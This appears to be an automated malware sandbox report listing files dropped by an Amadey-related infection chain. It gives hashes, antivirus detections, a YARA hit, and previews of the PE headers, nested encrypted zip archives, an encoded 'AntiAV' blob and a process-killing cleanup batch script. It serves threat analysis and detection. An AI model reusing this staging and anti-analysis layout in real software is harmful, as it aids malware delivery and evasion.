                                                                                                                                                                                                                                                                                  Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                  File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                                  Size (bytes):60
                                                                                                                                                                                                                                                                                  Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                                  SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                                                  MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                                                  SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                                                  SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                                                  SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                                  Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vr43atyx.lq1.ps1

                                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                                  Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                  File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                                  Size (bytes):60
                                                                                                                                                                                                                                                                                  Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                                  SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                                                  MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                                                  SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                                                  SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                                                  SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                                  Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                                                  C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

                                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                                  Process:C:\Users\user\Desktop\file.exe
                                                                                                                                                                                                                                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                                  Size (bytes):2969600
                                                                                                                                                                                                                                                                                  Entropy (8bit):6.51060008174369
                                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                                  SSDEEP:49152:GcUejriX8cBywn04rFnpO3vNcDmq//ICH44JTD8K6QlO:GcUejrk8cANeDO3lamggM441De
                                                                                                                                                                                                                                                                                  MD5:76C2F75BF3EFB5964C432F7661D22D58
                                                                                                                                                                                                                                                                                  SHA1:521BADD0C5D9F85986A7845B3163B82B87C0589D
                                                                                                                                                                                                                                                                                  SHA-256:939310706200640F603A1FB3E6528C3A4BAFA87E0D610E817A7824CF2E089BC7
                                                                                                                                                                                                                                                                                  SHA-512:E9462F252FDB9F4591B0B96A97CEE084E88299C066B7D1D0E862BC9B78FED2E1159D91FC74FA906F0B942F36560FFFDA2DC49DD059E48DC309489C9047955E51
                                                                                                                                                                                                                                                                                  Malicious:true
                                                                                                                                                                                                                                                                                  Antivirus:
                                                                                                                                                                                                                                                                                  • Antivirus: Avira, Detection: 100%
                                                                                                                                                                                                                                                                                  • Antivirus: Joe Sandbox ML, Detection: 100%
                                                                                                                                                                                                                                                                                  • Antivirus: ReversingLabs, Detection: 55%
                                                                                                                                                                                                                                                                                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................1...........@..........................01.....J.-...@.................................W...k.............................0...............................0..................................................... . ............................@....rsrc...............................@....idata ............................@...oadzzmvp.@*......6*.................@...ccijuplx......0......*-.............@....taggant.0....1.."....-.............@...........................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                                                  C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe:Zone.Identifier

                                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                                  Process:C:\Users\user\Desktop\file.exe
                                                                                                                                                                                                                                                                                  File Type:ASCII text, with CRLF line terminators
                                                                                                                                                                                                                                                                                  Category:modified
                                                                                                                                                                                                                                                                                  Size (bytes):26
                                                                                                                                                                                                                                                                                  Entropy (8bit):3.95006375643621
                                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                                  SSDEEP:3:ggPYV:rPYV
                                                                                                                                                                                                                                                                                  MD5:187F488E27DB4AF347237FE461A079AD
                                                                                                                                                                                                                                                                                  SHA1:6693BA299EC1881249D59262276A0D2CB21F8E64
                                                                                                                                                                                                                                                                                  SHA-256:255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
                                                                                                                                                                                                                                                                                  SHA-512:89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
                                                                                                                                                                                                                                                                                  Malicious:true
                                                                                                                                                                                                                                                                                  Preview:[ZoneTransfer]....ZoneId=0

                                                                                                                                                                                                                                                                                  C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exe

                                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                                  Process:C:\Users\user\AppData\Local\Temp\1019317001\72f44ceb0a.exe
                                                                                                                                                                                                                                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                                  Size (bytes):439296
                                                                                                                                                                                                                                                                                  Entropy (8bit):6.4903731089009495
                                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                                  SSDEEP:12288:v4RG6lx/9Njr18QlSfJy4FjMSkJCzDLGDWD:O9NtSTZMzmmD4
                                                                                                                                                                                                                                                                                  MD5:51FF79B406CB223DD49DD4C947EC97B0
                                                                                                                                                                                                                                                                                  SHA1:B9B0253480A1B6CBDD673383320FECAE5EFB3DCE
                                                                                                                                                                                                                                                                                  SHA-256:2E3A5DFA44D59681A60D78B8B08A1AF3878D8E270C02D7E31A0876A85EB42A7E
                                                                                                                                                                                                                                                                                  SHA-512:C2B8D15B0DC1B0846F39CE007BE2DEB41D5B6AE76AF90D618F29DA8691ED987C42F3C270F0EA7F4D10CBD2D3877118F4133803C9C965B6FF236FF8CFAFD9367C
                                                                                                                                                                                                                                                                                  Malicious:true
                                                                                                                                                                                                                                                                                  Yara Hits:
                                                                                                                                                                                                                                                                                  • Rule: JoeSecurity_Amadey_3, Description: Yara detected Amadey\'s Clipper DLL, Source: C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exe, Author: Joe Security
                                                                                                                                                                                                                                                                                  Antivirus:
                                                                                                                                                                                                                                                                                  • Antivirus: Joe Sandbox ML, Detection: 100%
                                                                                                                                                                                                                                                                                  • Antivirus: ReversingLabs, Detection: 55%
                                                                                                                                                                                                                                                                                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........BS..,...,...,.../...,...).#.,..(...,../...,..)...,.......,...(...,...-...,...-.j.,.U.%...,.U.....,.U.....,.Rich..,.........PE..L....3dg............................'.............@..........................0............@..................................E...................................E......8...............................@...............<............................text...j........................... ..`.rdata...H.......J..................@..@.data....m...`...,...@..............@....rsrc................l..............@..@.reloc...E.......F...n..............@..B........................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                                                  C:\Users\user\AppData\Local\Temp\main\7z.dll

                                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                                  Process:C:\Users\user\AppData\Local\Temp\1019315001\5f0a381314.exe
                                                                                                                                                                                                                                                                                  File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                                  Size (bytes):1679360
                                                                                                                                                                                                                                                                                  Entropy (8bit):6.278252955513617
                                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                                  SSDEEP:24576:S+clx4tCQJSVAFja8i/RwQQmzgO67V3bYgR+zypEqxr2VSlLP:jclmJSVARa86xzW3xRoyqqxrT
                                                                                                                                                                                                                                                                                  MD5:72491C7B87A7C2DD350B727444F13BB4
                                                                                                                                                                                                                                                                                  SHA1:1E9338D56DB7DED386878EAB7BB44B8934AB1BC7
                                                                                                                                                                                                                                                                                  SHA-256:34AD9BB80FE8BF28171E671228EB5B64A55CAA388C31CB8C0DF77C0136735891
                                                                                                                                                                                                                                                                                  SHA-512:583D0859D29145DFC48287C5A1B459E5DB4E939624BD549FF02C61EAE8A0F31FC96A509F3E146200CDD4C93B154123E5ADFBFE01F7D172DB33968155189B5511
                                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                                  Antivirus:
                                                                                                                                                                                                                                                                                  • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                                                                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........w...$...$...$.&.$...$.&.$...$...$...$.&.$%..$.&.$..$.&G$...$.&.$...$.&.$...$.&.$...$Rich...$........................PE..d.....n\.........." .........H...............................................P............`.............................................y...l...x........{...p.......................................................................................................text............................... ..`.rdata..9...........................@..@.data...............................@....pdata.......p... ..................@..@.rsrc....{.......|..................@..@.reloc...0.......2...n..............@..B........................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                                                  C:\Users\user\AppData\Local\Temp\main\7z.exe

                                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                                  Process:C:\Users\user\AppData\Local\Temp\1019315001\5f0a381314.exe
                                                                                                                                                                                                                                                                                  File Type:PE32+ executable (console) x86-64, for MS Windows
                                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                                  Size (bytes):468992
                                                                                                                                                                                                                                                                                  Entropy (8bit):6.157743912672224
                                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                                  SSDEEP:6144:fz1gL5pRTMTTjMkId/BynSx7dEe6XwzRaktNP08NhKs39zo43fTtl1fayCV7+DHV:r1gL5pRTcAkS/3hzN8qE43fm78V
                                                                                                                                                                                                                                                                                  MD5:619F7135621B50FD1900FF24AADE1524
                                                                                                                                                                                                                                                                                  SHA1:6C7EA8BBD435163AE3945CBEF30EF6B9872A4591
                                                                                                                                                                                                                                                                                  SHA-256:344F076BB1211CB02ECA9E5ED2C0CE59BCF74CCBC749EC611538FA14ECB9AAD2
                                                                                                                                                                                                                                                                                  SHA-512:2C7293C084D09BC2E3AE2D066DD7B331C810D9E2EECA8B236A8E87FDEB18E877B948747D3491FCAFF245816507685250BD35F984C67A43B29B0AE31ECB2BD628
                                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                                  Antivirus:
                                                                                                                                                                                                                                                                                  • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                                                                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........(...{...{...{...{...{...{...{...{...{...{...{...{...{..!{...{...{...{...{...{Rich...{................PE..d.....n\.........."..........l...... .........@...........................................`.....................................................x....`..........,a...........p.......................................................... ............................text............................... ..`.rdata..............................@..@.data....,..........................@....pdata..,a.......b..................@..@.rsrc........`......................@..@.reloc.......p......................@..B........................................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                                                  C:\Users\user\AppData\Local\Temp\main\KillDuplicate.cmd

                                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                                  Process:C:\Users\user\AppData\Local\Temp\1019315001\5f0a381314.exe
                                                                                                                                                                                                                                                                                  File Type:ASCII text, with CRLF line terminators
                                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                                  Size (bytes):222
                                                                                                                                                                                                                                                                                  Entropy (8bit):4.855194602218789
                                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                                  SSDEEP:6:vFuj9HUHOPLtInnIgvRY77flFjfA+qpxuArS3+xTfVk3:duj9HeONgvRYnlfYFrSMTtk3
                                                                                                                                                                                                                                                                                  MD5:68CECDF24AA2FD011ECE466F00EF8450
                                                                                                                                                                                                                                                                                  SHA1:2F859046187E0D5286D0566FAC590B1836F6E1B7
                                                                                                                                                                                                                                                                                  SHA-256:64929489DC8A0D66EA95113D4E676368EDB576EA85D23564D53346B21C202770
                                                                                                                                                                                                                                                                                  SHA-512:471305140CF67ABAEC6927058853EF43C97BDCA763398263FB7932550D72D69B2A9668B286DF80B6B28E9DD1CBA1C44AAA436931F42CC57766EFF280FDB5477C
                                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                                  Preview:Cd /d %1..Rd "%SfxVarApiPath%"..For /f "Tokens=1,2 Delims=," %%I In ('TaskList /fo CSV /nh') Do (.. If %%I==%2 (.. Set /a N+=1.. Set PID=%%~J.. )..)..If %N% EQU 1 Rd /s /q %1..If %N% GTR 1 TaskKill /pid %PID% /t /f

                                                                                                                                                                                                                                                                                  C:\Users\user\AppData\Local\Temp\main\extracted\AntiAV.data

                                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                                  Process:C:\Users\user\AppData\Local\Temp\main\7z.exe
                                                                                                                                                                                                                                                                                  File Type:ASCII text, with very long lines (65536), with no line terminators
                                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                                  Size (bytes):2355713
                                                                                                                                                                                                                                                                                  Entropy (8bit):5.891648193754473
                                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                                  SSDEEP:24576:5yZBPkpRrP9pxC+XvoflcYy36s3vb0EecYy37n92k8GtGAQZ67hR7krC/Cyf0/xO:R9kqGu7okoZscCnf0/Zs9p
                                                                                                                                                                                                                                                                                  MD5:579A63BEBCCBACAB8F14132F9FC31B89
                                                                                                                                                                                                                                                                                  SHA1:FCA8A51077D352741A9C1FF8A493064EF5052F27
                                                                                                                                                                                                                                                                                  SHA-256:0AC3504D5FA0460CAE3C0FD9C4B628E1A65547A60563E6D1F006D17D5A6354B0
                                                                                                                                                                                                                                                                                  SHA-512:4A58CA0F392187A483B9EF652B6E8B2E60D01DAA5D331549DF9F359D2C0A181E975CF9DF79552E3474B9D77F8E37A1CF23725F32D4CDBE4885E257A7625F7B1F
                                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                                  Preview:KmO6sb9bzFlO6QmlyBR3cUuBrPdmJRJBhXshklfui2fRJCiITlYNEM2EqC9x9I0qVq7CGnIhkwh6hvGvu5pkfBRaoLATG90WNTmCTDFIBTSnd7l9KiCxIUJ5zlBvrKkHZaxyJb0N052Q1AaMDCASX2cw1ZaV1bKcufYPprTSqVIRscgIruKC2MOUPLxNBR1egyVxwSbedVhVl89lRxHAMRMf16G6Ry1TTz7dOtnEaLQowPwuw8eDnR20ZOyf9yYTVcpDsiS4K2VzryfyiwiOXZDq7UaTFrtOgtVQzuNXN74O8xkfvt4Ykzxcs60WfAkGZKsYbwZWS4bPPY8cze1vDL6leHmcDUIbsBvTleZtzGhgeYGdRaUmv5ljenoBZOBDIndh9KTa7zBVHuP4jAK8C2IKaB5BgFReYTleqD0cCkhTdxbkQAMwHPuKktcCRORGmFfE37OzhnpNUtRyIHoGBwau6RcKp6vTNwIWRMkDjZaejD2NS5TCgRvcwgZcldKIAtOqIN0TXMXlnX6scNgHltMTvvwSZbBsDdCGRINZlutVfbP6joQl5sw21ICykYYYKwRfLlfpREpOzuAjwo7oC8hJ4Tv652auJh1RujdaLcIfX5oB1GDuu95ojl52qB08Lzg7nIl7yDb4k9X8rUPZ857XTGTaXkhL77wwG75hAnvfazjbPfP5GZrDYRdhe2I0zSJZuV5aaWd5Imf8Ck0w9ALkKR7xhRlclC4FnJOBuXxpdcsG9gE8tgukaoXpzf4z0CHJ0VOfBNcErBEPyoWMZfee3Vfg2NyLVPvaC6c5HNC1mZSr0SpB1RAlj2w7ST9eZL5DUYwl8p6flt6I3p7MBJrZLlY3LgBSr5F4BYYU6sebHdx0ES2Ci6J9wBw0wGLCy8SeSDS45pkrvWvTZkvW2oFTNBda3aYJyut0zJi1Chjp4xQkH1cEMWZUOy7MueiWNcfeKZqM4Gg2hr7XoLoTQXyvcXvxeOwXoXJKXvu4

                                                                                                                                                                                                                                                                                  C:\Users\user\AppData\Local\Temp\main\extracted\file_1.zip

                                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                                  Process:C:\Users\user\AppData\Local\Temp\main\7z.exe
                                                                                                                                                                                                                                                                                  File Type:Zip archive data, at least v2.0 to extract, compression method=deflate
                                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                                  Size (bytes):1799594
                                                                                                                                                                                                                                                                                  Entropy (8bit):7.99773141173711
                                                                                                                                                                                                                                                                                  Encrypted:true
                                                                                                                                                                                                                                                                                  SSDEEP:49152:8yj13b27Gvrb6VZvqF7iGc8bbmuXZTsD28cz2TPt0JhJ+:tj13Trb6i5iGmuXZTbBizt0Jhc
                                                                                                                                                                                                                                                                                  MD5:5659EBA6A774F9D5322F249AD989114A
                                                                                                                                                                                                                                                                                  SHA1:4BFB12AA98A1DC2206BAA0AC611877B815810E4C
                                                                                                                                                                                                                                                                                  SHA-256:E04346FEE15C3F98387A3641E0BBA2E555A5A9B0200E4B9256B1B77094069AE4
                                                                                                                                                                                                                                                                                  SHA-512:F93ABF2787B1E06CE999A0CBC67DC787B791A58F9CE20AF5587B2060D663F26BE9F648D116D9CA279AF39299EA5D38E3C86271297E47C1438102CA28FCE8EDC4
                                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                                  Preview:PK........i..Y..5..u..........in.exe.Y.4.a...3c0.e.c..X....0.\[...3Hb....^.*..T.-f..$k.b..#&.B.v...s.s....{.......{..|.s.O......._....H.........(4.Io..""..q...CO.......G...)1......!...c:....=.....h.w?.o.q................4,.....\..:................_................(...S......Q.....wP..../3.......?..b......@.m.;.W...........:......8.......a..o.O....a......."......'..S....@....&.V.........*(..p...u.sa=F.....~.".p..".B...eE...x..w.m....d..h...4...@.`......F.Z......h.[._O.\f....t..?..7s|&Fj..T:.m..*.J..sk..t.\K*]...h5..[...).E.,.4.....u...tP7B.0.I...H.15........+..[..G..)...M..;..H.?g...\.\.ZT.Q..&..@....nnx......s..1W...x.W..M2.h@.C@<.B\.&..:hgwM...$...y....._..z?....< ..T.._..^./m{.E..Y*.;ol..&_/./....3........x.%....$..=.^}.}..53.....|...|-... #..Z-.b.Ej...q.u..L-..x8...%..P:PKs...]....}...;:.Z........H..3k..F..:....X2a.e..G..f6...}....H.V.#r.H....T.....!....~...R%xu....(^......U.{.......l..RtFDi......./..t?......6FU....;2].@...z..8..K^B/W..

                                                                                                                                                                                                                                                                                  C:\Users\user\AppData\Local\Temp\main\extracted\file_2.zip

                                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                                  Process:C:\Users\user\AppData\Local\Temp\main\7z.exe
                                                                                                                                                                                                                                                                                  File Type:Zip archive data, at least v1.0 to extract, compression method=store
                                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                                  Size (bytes):1799748
                                                                                                                                                                                                                                                                                  Entropy (8bit):7.997729415613798
                                                                                                                                                                                                                                                                                  Encrypted:true
                                                                                                                                                                                                                                                                                  SSDEEP:49152:5yj13b27Gvrb6VZvqF7iGc8bbmuXZTsD28cz2TPt0JhJ/:4j13Trb6i5iGmuXZTbBizt0Jhl
                                                                                                                                                                                                                                                                                  MD5:5404286EC7853897B3BA00ADF824D6C1
                                                                                                                                                                                                                                                                                  SHA1:39E543E08B34311B82F6E909E1E67E2F4AFEC551
                                                                                                                                                                                                                                                                                  SHA-256:EC94A6666A3103BA6BE60B92E843075A2D7FE7D30FA41099C3F3B1E2A5EBA266
                                                                                                                                                                                                                                                                                  SHA-512:C4B78298C42148D393FEEA6C3941C48DEF7C92EF0E6BAAC99144B083937D0A80D3C15BD9A0BF40DAA60919968B120D62999FA61AF320E507F7E99FBFE9B9EF30
                                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                                  Preview:PK........n..Y*C.?.u...u......file_1.zipPK........i..Y..5..u..........in.exe.Y.4.a...3c0.e.c..X....0.\[...3Hb....^.*..T.-f..$k.b..#&.B.v...s.s....{.......{..|.s.O......._....H.........(4.Io..""..q...CO.......G...)1......!...c:....=.....h.w?.o.q................4,.....\..:................_................(...S......Q.....wP..../3.......?..b......@.m.;.W...........:......8.......a..o.O....a......."......'..S....@....&.V.........*(..p...u.sa=F.....~.".p..".B...eE...x..w.m....d..h...4...@.`......F.Z......h.[._O.\f....t..?..7s|&Fj..T:.m..*.J..sk..t.\K*]...h5..[...).E.,.4.....u...tP7B.0.I...H.15........+..[..G..)...M..;..H.?g...\.\.ZT.Q..&..@....nnx......s..1W...x.W..M2.h@.C@<.B\.&..:hgwM...$...y....._..z?....< ..T.._..^./m{.E..Y*.;ol..&_/./....3........x.%....$..=.^}.}..53.....|...|-... #..Z-.b.Ej...q.u..L-..x8...%..P:PKs...]....}...;:.Z........H..3k..F..:....X2a.e..G..f6...}....H.V.#r.H....T.....!....~...R%xu....(^......U.{.......l..RtFDi......./

                                                                                                                                                                                                                                                                                  C:\Users\user\AppData\Local\Temp\main\extracted\file_3.zip

                                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                                  Process:C:\Users\user\AppData\Local\Temp\main\7z.exe
                                                                                                                                                                                                                                                                                  File Type:Zip archive data, at least v1.0 to extract, compression method=store
                                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                                  Size (bytes):1799902
                                                                                                                                                                                                                                                                                  Entropy (8bit):7.997726708945573
                                                                                                                                                                                                                                                                                  Encrypted:true
                                                                                                                                                                                                                                                                                  SSDEEP:49152:Cyj13b27Gvrb6VZvqF7iGc8bbmuXZTsD28cz2TPt0JhJV:nj13Trb6i5iGmuXZTbBizt0Jh3
                                                                                                                                                                                                                                                                                  MD5:5EB39BA3698C99891A6B6EB036CFB653
                                                                                                                                                                                                                                                                                  SHA1:D2F1CDD59669F006A2F1AA9214AEED48BC88C06E
                                                                                                                                                                                                                                                                                  SHA-256:E77F5E03AE140DDA27D73E1FFE43F7911E006A108CF51CBD0E05D73AA92DA7C2
                                                                                                                                                                                                                                                                                  SHA-512:6C4CA20E88D49256ED9CABEC0D1F2B00DFCF3D1603B5C95D158D4438C9F1E58495F8DFA200DBE7F49B5B0DD57886517EB3B98C4190484548720DAD4B3DB6069E
                                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                                  Preview:PK........n..Y...rDv..Dv......file_2.zipPK........n..Y*C.?.u...u......file_1.zipPK........i..Y..5..u..........in.exe.Y.4.a...3c0.e.c..X....0.\[...3Hb....^.*..T.-f..$k.b..#&.B.v...s.s....{.......{..|.s.O......._....H.........(4.Io..""..q...CO.......G...)1......!...c:....=.....h.w?.o.q................4,.....\..:................_................(...S......Q.....wP..../3.......?..b......@.m.;.W...........:......8.......a..o.O....a......."......'..S....@....&.V.........*(..p...u.sa=F.....~.".p..".B...eE...x..w.m....d..h...4...@.`......F.Z......h.[._O.\f....t..?..7s|&Fj..T:.m..*.J..sk..t.\K*]...h5..[...).E.,.4.....u...tP7B.0.I...H.15........+..[..G..)...M..;..H.?g...\.\.ZT.Q..&..@....nnx......s..1W...x.W..M2.h@.C@<.B\.&..:hgwM...$...y....._..z?....< ..T.._..^./m{.E..Y*.;ol..&_/./....3........x.%....$..=.^}.}..53.....|...|-... #..Z-.b.Ej...q.u..L-..x8...%..P:PKs...]....}...;:.Z........H..3k..F..:....X2a.e..G..f6...}....H.V.#r.H....T.....!....~...R%xu..

                                                                                                                                                                                                                                                                                  C:\Users\user\AppData\Local\Temp\main\extracted\file_4.zip

                                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                                  Process:C:\Users\user\AppData\Local\Temp\main\7z.exe
                                                                                                                                                                                                                                                                                  File Type:Zip archive data, at least v1.0 to extract, compression method=store
                                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                                  Size (bytes):1800056
                                                                                                                                                                                                                                                                                  Entropy (8bit):7.997723543142523
                                                                                                                                                                                                                                                                                  Encrypted:true
                                                                                                                                                                                                                                                                                  SSDEEP:49152:Zyj13b27Gvrb6VZvqF7iGc8bbmuXZTsD28cz2TPt0JhJQ:Yj13Trb6i5iGmuXZTbBizt0Jhm
                                                                                                                                                                                                                                                                                  MD5:7187CC2643AFFAB4CA29D92251C96DEE
                                                                                                                                                                                                                                                                                  SHA1:AB0A4DE90A14551834E12BB2C8C6B9EE517ACAF4
                                                                                                                                                                                                                                                                                  SHA-256:C7E92A1AF295307FB92AD534E05FBA879A7CF6716F93AEFCA0EBFCB8CEE7A830
                                                                                                                                                                                                                                                                                  SHA-512:27985D317A5C844871FFB2527D04AA50EF7442B2F00D69D5AB6BBB85CD7BE1D7057FFD3151D0896F05603677C2F7361ED021EAC921E012D74DA049EF6949E3A3
                                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                                  Preview:PK........n..Y....v...v......file_3.zipPK........n..Y...rDv..Dv......file_2.zipPK........n..Y*C.?.u...u......file_1.zipPK........i..Y..5..u..........in.exe.Y.4.a...3c0.e.c..X....0.\[...3Hb....^.*..T.-f..$k.b..#&.B.v...s.s....{.......{..|.s.O......._....H.........(4.Io..""..q...CO.......G...)1......!...c:....=.....h.w?.o.q................4,.....\..:................_................(...S......Q.....wP..../3.......?..b......@.m.;.W...........:......8.......a..o.O....a......."......'..S....@....&.V.........*(..p...u.sa=F.....~.".p..".B...eE...x..w.m....d..h...4...@.`......F.Z......h.[._O.\f....t..?..7s|&Fj..T:.m..*.J..sk..t.\K*]...h5..[...).E.,.4.....u...tP7B.0.I...H.15........+..[..G..)...M..;..H.?g...\.\.ZT.Q..&..@....nnx......s..1W...x.W..M2.h@.C@<.B\.&..:hgwM...$...y....._..z?....< ..T.._..^./m{.E..Y*.;ol..&_/./....3........x.%....$..=.^}.}..53.....|...|-... #..Z-.b.Ej...q.u..L-..x8...%..P:PKs...]....}...;:.Z........H..3k..F..:....X2a.e..G..f6...}.

                                                                                                                                                                                                                                                                                  C:\Users\user\AppData\Local\Temp\main\extracted\file_5.zip

                                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                                  Process:C:\Users\user\AppData\Local\Temp\main\7z.exe
                                                                                                                                                                                                                                                                                  File Type:Zip archive data, at least v1.0 to extract, compression method=store
                                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                                  Size (bytes):1800210
                                                                                                                                                                                                                                                                                  Entropy (8bit):7.997720745184939
                                                                                                                                                                                                                                                                                  Encrypted:true
                                                                                                                                                                                                                                                                                  SSDEEP:49152:ayj13b27Gvrb6VZvqF7iGc8bbmuXZTsD28cz2TPt0JhJw:Pj13Trb6i5iGmuXZTbBizt0JhG
                                                                                                                                                                                                                                                                                  MD5:B7D1E04629BEC112923446FDA5391731
                                                                                                                                                                                                                                                                                  SHA1:814055286F963DDAA5BF3019821CB8A565B56CB8
                                                                                                                                                                                                                                                                                  SHA-256:4DA77D4EE30AD0CD56CD620F4E9DC4016244ACE015C5B4B43F8F37DD8E3A8789
                                                                                                                                                                                                                                                                                  SHA-512:79FC3606B0FE6A1E31A2ECACC96623CAF236BF2BE692DADAB6EA8FFA4AF4231D782094A63B76631068364AC9B6A872B02F1E080636EBA40ED019C2949A8E28DB
                                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                                  Preview:PK........n..Yab..xw..xw......file_4.zipPK........n..Y....v...v......file_3.zipPK........n..Y...rDv..Dv......file_2.zipPK........n..Y*C.?.u...u......file_1.zipPK........i..Y..5..u..........in.exe.Y.4.a...3c0.e.c..X....0.\[...3Hb....^.*..T.-f..$k.b..#&.B.v...s.s....{.......{..|.s.O......._....H.........(4.Io..""..q...CO.......G...)1......!...c:....=.....h.w?.o.q................4,.....\..:................_................(...S......Q.....wP..../3.......?..b......@.m.;.W...........:......8.......a..o.O....a......."......'..S....@....&.V.........*(..p...u.sa=F.....~.".p..".B...eE...x..w.m....d..h...4...@.`......F.Z......h.[._O.\f....t..?..7s|&Fj..T:.m..*.J..sk..t.\K*]...h5..[...).E.,.4.....u...tP7B.0.I...H.15........+..[..G..)...M..;..H.?g...\.\.ZT.Q..&..@....nnx......s..1W...x.W..M2.h@.C@<.B\.&..:hgwM...$...y....._..z?....< ..T.._..^./m{.E..Y*.;ol..&_/./....3........x.%....$..=.^}.}..53.....|...|-... #..Z-.b.Ej...q.u..L-..x8...%..P:PKs...]....}...;:.Z..

